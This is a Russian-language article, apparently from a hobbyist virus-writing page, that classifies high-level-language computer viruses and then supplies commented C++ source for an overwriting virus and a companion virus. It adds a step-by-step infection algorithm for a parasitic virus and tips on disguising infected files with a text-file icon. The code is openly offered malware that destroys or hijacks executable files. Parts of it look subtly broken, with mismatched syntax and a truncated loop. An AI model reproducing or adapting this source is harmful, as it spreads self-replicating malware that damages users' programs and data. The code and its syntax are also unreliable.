HLL* — High Level Language Virus , написанные на языках высокого уровня, в большинстве случаев имеющие большой размер (порядка 50-300 Кб).
Языками высокого уровня называют все языки программирования кроме ассемблера. Так как на ЯВУ хорошо писать только червей и троянов, так и поэтому шанс выжить у зверков не так уж и высок. Хотя все зависит от кода, да и запаковать файл не сложно. Всяких утилит сейчас полно. Однако если паковать файл, то могут возникнуть проблемы с заражением файлов. Итак, расскажу какие монстры бывают и на какие делятся группы:
HLLC — High Level Language Companion viruses. Компаньон-вирусы (companion). Вирусы, не изменяющие файлы. Алгоритм работы этих вирусов состоит в том, что они создают для EXE-файлов файлы-спутники, имеющие то же самое имя, но с расширением .COM, например, для файла XCOPY.EXE создается файл XCOPY.COM. Вирус записывается в COM-файл и никак не изменяет EXE-файл. При запуске такого файла DOS первым обнаружит и выполнит COM-файл, т.е. вирус, который затем запустит и EXE-файл. Однако есть и другие способы. Можно заменять собой тело жертвы, а саму программу копировать в файл с таким же именем, но с расширением .com, а затем и запускать его. Но эти вирусы совершенно не приспособлены к злому внешнему миру, как и их друзья HLLO.
HLLO: High Level Language Overwriting viruses.
Вирусы оверврайтеры. Ищут файлы и записываются вместо них.
Это вообще элементарные вирусы, которые существуют для обогащения антивирусных компаний. (Касперский не обижайся ;) мы все понимаем).
В конце я приведу несколько примеров вирусов на языке с++. С описаниями для первых трех видов.
HLLP — High Level Language Parasitic viruses. Вирусы паразиты.
Записываются в конец или начало файлов, зараженные файлы остаются работоспособными. Вот и они звери похожие на вирусы. Эти вирусы могут заражать рабочие файлы несколькими методами,
но большинство этих методов реализуемы только на ассемблере. Поэтому я приведу только метод сдвига.
HLLS — High Level Language S viruses. Вирусы симбиозники.(как сифилезники) ;).
Честно говоря, я не знаю, как переводятся S вирусы. Но скажу, что большинство этих вирусов заражают исходные коды программ своим кодом. В одном из вирмейкерских журналов DVL я прочитал статью о таком вирусе, и он был прародителем этого вида зверей. Он заражал своим кодом TP и PAS файлы.
Своего рода полиморфик. Меняющийся за счет компиляции с чужими программами и случайными директивами.
Вобщем модули программ на паскале. На с++ такое вполне реализуемо.
Теоретически можно подумать, что S это Source. Но в статье написано (симбиоз). Так что думайте сами.
HLLW — High Level Language W viruses. Вирусы черви или трояны, их описания нет ни в одной антивирусной энциклопедии. Это большая куча вирусов, которые используют редкие методы распространения и заражения. Следует учесть, что антивирусники тоже ошибаются. Из журналов я понял, что эти вири строго не различаются.
Есть особи, размножающиеся через ДОС функции, они могут лезть в архивы в тексты. Да кругом.
Авторы иногда придумывают весьма странные методы размножения. Этот вид вирей можно назвать - Не вошло в другие разделы.
Ну, на этом теоретическая часть заканчивается и начинается практическая.
Я написал несколько демонстрационных вирусов на с++ (Компилировал в Билдере 6.0).
Все исходники достаточно хорошо откомментированы и понять их не так уж и сложно знающему си.
Далее я приведу алгоритмы описанных мной вирусов для ознакомления и понимания методов их работы.
ПОМНИТЕ НАПИСАНИЕ ВИРУСОВ ПРЕСЛЕДУЕТСЯ ПО ЗАКОНУ.
I)HLLO Первым я опишу вирус-оверврайтер -
- Найти все файлы exe или com в папке.
- Пророверить на заражение (если размеры совпадают).
- Заменить тело жертвы на свое.
- Выйти.
Все достаточно просто и думаю ни раз приходило вам в голову. Идея проста до безобразия,
но несмотря на слабую надежду выжить, нативирусники всеже их детектируют.
Вот код :
#include "windows.h"
#include "dir.h" //Стандарнтые Директивы препроцессора(хеадер
#include "stdio.h" //файлы, они нужны для использования определенный хункций
#pragma hdrstop //Обработчики ошибок
#pragma argsused
#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введете свой)
void VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if ((strcmp(vir,tmp)) return 0;
SRC = fopen(vir, "rb"); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, "wb"); //Считываем тело жертвы
if(DST)
{
for (v=0;v
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST);
}
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst("*.exe",&ffblk,0);
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name); //Заменяем
done = findnext(&ffblk); //Если есть еще файлы продолжаем заражение
}
}
II) HLLC Теперь вирусы-компаньоны -
- Найти все файлы exe в папке.
- Проверить на заражение (есть ли файл с именем *.com).
- Жертву переименовать в *.com.
- Скопировать вирус под именем жертвы.
- Получить имя своего файла
- Запустить файл с таким же именем как у тебя, но с расширением *.com.
- Выйти.
В результате при запуске зараженной программы по ссылке или непосредственно по файлу выполняется вирус с именем программы, затем вирус после выполнения ищет в папке файл со своим именем, но с расширением COM и запускает его.
При заражении стоит пауза от глюков каждую секунду заражается 1 файл, предусмотрена защита от самозаражения, что часто приводит к глюкам и жрет оперативку. К сожалению иконка файла не сохраняется.
Но это компенсируйте какой-нибудь другой иконкой! Типа [txt].
Вот код :
#include "windows.h"
#include "dir.h" //Стандарнтые Директивы препроцессора(хеадер
#include "stdio.h" //файлы, они нужны для использования определенный функций
#include "io.h"
#pragma hdrstop //Обработчики ошибок
#pragma argsused
#define VIZE 57856 //Вводим примерный размер вируа (потом скомпилите и проверите , введёте свой)
int file_exists(char *filename)
{
return (access(filename, 0) == 0);
}
//----------------
VirusOver(char vir[],char tmp[]) //Это и есть функция заражения, в нее передаем имя вируса и жертвы
{
char kill[256];
unsigned int i;
FILE *SRC, *DST; //Создаем буферы для хранения данных
char Buffer[1024];
short Counter=0;
int v = 0;
if(strstr(vir,tmp)) return 0; //Смотрим не мы ли это сами хотим себя заразить??
strcpy(kill,tmp); // kill = NAME.exe
kill[strlen(tmp)-1]= 'm'; // kill = NAME.com
kill[strlen(tmp)-2]= 'o';
kill[strlen(tmp)-3]= 'c';
if(file_exists(kill)) return 0; //Проверка на существование заразы
CopyFile(tmp,kill,true); //Копируем жертву в COM ...
SetFileAttributes(kill, FILE_ATTRIBUTE_HIDDEN);
SRC = fopen(vir, "rb"); //Считывем тело вируса
if(SRC)
{
DST = fopen(tmp, "wb"); //Считываем тело жертвы
if(DST)
{
for (v=0;v!=Counter;v++)
{
Counter = fread(Buffer, 1, 1024, SRC);
if(Counter)
fwrite(Buffer, 1, Counter, DST); //Записываем вирус поверх жертвы
}
}
}
fclose(SRC);
fclose(DST); // tmp = NAME.exe
delete kill,tmp,i,Buffer,v,Counter,*SRC, *DST;
return 0;
}
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char virname[256]; //Переменные
char zapas[256];
SetErrorMode(SEM_NOGPFAULTERRORBOX); //Опять с ошибками но это не трогаем!
PeekMessage(NULL, NULL, NULL, NULL, NULL);
GetModuleFileName(hInstance, virname, 256); //Находим собственное имя (вируса)
GetModuleFileName(hInstance, zapas, 256); //Запаска имени виря для запуска
struct ffblk ffblk; //Структура работы с findfirst
int done;
done = findfirst("*.exe",&ffblk,0);
while (!done) //Ищем файлы с расширением *.exe пока не перечислим все
{
VirusOver(virname,ffblk.ff_name);
Sleep(1000); //Замедляем программу от тормозов компа
done = findnext(&ffblk); //Если есть еще фалйы продолжаем заражение
}
zapas[strlen(zapas)-1]= 'm';
zapas[strlen(zapas)-2]= 'o';
zapas[strlen(zapas)-3]= 'c';
WinExec(zapas,SW_SHOW);
return 0;
}
И вирусы-паразиты.
III) - HLLP Это поинтереснее. Привожу метод сдвига.
- Открыть файл, с которого мы получили управление.
- Считать в буфер тело вируса.
- Закрыть файл.
- Найти файл-жертву (для данного подвида лучше .COM, но можно и не слишком большой .EXE - это связано со считыванием ВСЕГО тела инфицируемой программы в память, которой может не хватить, если инфицируемая программа слишком большая).
- Открыть файл-жертву.
- Проверить файл на повторное заражение (у каждого эта процедура может быть своя, в основном используется метка).
- Если файл уже инфицирован, перейти к пункту 4.
- Считать в буфер ВСЕ ТЕЛО программы.
- Записать в начало файла тело вируса из буфера.
- Дописать в файл после тела вируса тело программы из буфера. Длина программы увеличится на длину вируса.
- Закрыть файл-жертву.
- Открыть файл, с которого мы стартовали.
- Считать в буфер тело инфицированной программы, расположенное в файле после тела вируса.
- Создать на диске временный файл с расширением .COM или .EXE (в зависимости от того, какой тип программ мы заражали).
- Записать в этот файл тело программы из буфера.
- Закрыть созданный файл.
- Процедурой Exec запустить созданный файл на исполнение - выполнится инфицированная программа.
- По завершению работы программы созданный файл удалить.
- Вернуть управление в ДОС.
Исходника компаньона у меня нет, я его написать не смог по причине учёбы и лени!
Приводить алгоритмы остальных видов вирусов я не буду, дабы не ошибиться, едь их огромное множество и они все разные. А поскольку вирусология - молодая наука, то вам еще исследовать и исследовать.
Статья написана исключительно для изучения алгоритмов работы вирусов и методов борьбы с ними. Алгорытмы работы вирусов были выявлены при декомпиляции найденных в интернете вирсуов и на сайте Лаборатории Касперского.
Написать комментарий